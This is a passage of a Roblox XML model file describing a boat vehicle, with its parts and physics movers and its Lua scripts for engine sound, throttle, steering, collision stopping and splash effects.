									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000227887693</X>
										<Y>0.000106327381</Y>
										<Z>0.00022669317</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX77">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX78">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>33.0201035</X>
											<Y>4.98000956</Y>
											<Z>-98.9990234</Z>
											<R00>-2.94446945e-005</R00>
											<R01>-0.0125623122</R01>
											<R02>-0.999921083</R02>
											<R10>0.000741824973</R10>
											<R11>0.999920845</R11>
											<R12>-0.0125623308</R12>
											<R20>0.999999762</R20>
											<R21>-0.000742135104</R21>
											<R22>-2.01463699e-005</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX79">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX80">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>5</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX81">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">2.5999999</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX82">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX83">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX84">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">0</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX85">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">2</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX86">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">24</int>
									<CoordinateFrame name="CFrame">
										<X>-1173</X>
										<Y>7.5</Y>
										<Z>633</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>-1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Tip</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000214554646</X>
										<Y>4.27351079e-005</Y>
										<Z>0.000218449728</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>3</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX87">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX88">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX89">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1001</int>
									<CoordinateFrame name="CFrame">
										<X>-1173.00037</X>
										<Y>1.49980283</Y>
										<Z>650.006348</Z>
										<R00>0.131254792</R00>
										<R01>0.00074166269</R01>
										<R02>0.991348445</R02>
										<R10>-0.012550097</R10>
										<R11>0.999920845</R11>
										<R12>0.000913560973</R12>
										<R20>-0.991269171</R20>
										<R21>-0.0125614265</R21>
										<R22>0.13125369</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>7.8104434e-010</X>
										<Y>0.0017192408</Y>
										<Z>-1.33449113e-010</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.0112433191</X>
										<Y>0.000927473418</Y>
										<Z>0.00281083095</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX90">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX91">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX92">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1173</X>
										<Y>4</Y>
										<Z>675.5</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">RearTip</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000225709184</X>
										<Y>0.000142834062</Y>
										<Z>0.00022669317</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>6</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX93">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>0.600000024</X>
											<Y>1</Y>
											<Z>0.600000024</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX94">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX95">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX96">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-1173.00037</X>
										<Y>1.49980283</Y>
										<Z>670.006348</Z>
										<R00>-0.95677352</R00>
										<R01>0.000741575321</R01>
										<R02>-0.290832728</R02>
										<R10>0.00436274568</R10>
										<R11>0.999920845</R11>
										<R12>-0.011802813</R12>
										<R20>0.290800959</R20>
										<R21>-0.0125614498</R21>
										<R22>-0.956700981</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.93005778e-010</X>
										<Y>0.000435728725</Y>
										<Z>-1.47898221e-011</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.00807998329</X>
										<Y>0.00854108483</Y>
										<Z>1.74801395e-017</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX97">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX98">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX99">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1173</X>
										<Y>8</Y>
										<Z>675.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>1</R12>
										<R20>0</R20>
										<R21>1</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">SmokeEmitter</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000206134486</X>
										<Y>0.000142834062</Y>
										<Z>0.000217272085</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX100">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">1</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX101">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX102">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 300 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
								<Item class="Script" referent="RBX103">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">WaterScript</string>
										<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX104">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1173</X>
								<Y>9.5</Y>
								<Z>639.5</Z>
								<R00>-1</R00>
								<R01>-0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>-0</R11>
								<R12>-1</R12>
								<R20>-0</R20>
								<R21>-1</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00020385372</X>
								<Y>5.80443593e-005</Y>
								<Z>0.000213739186</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>17</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
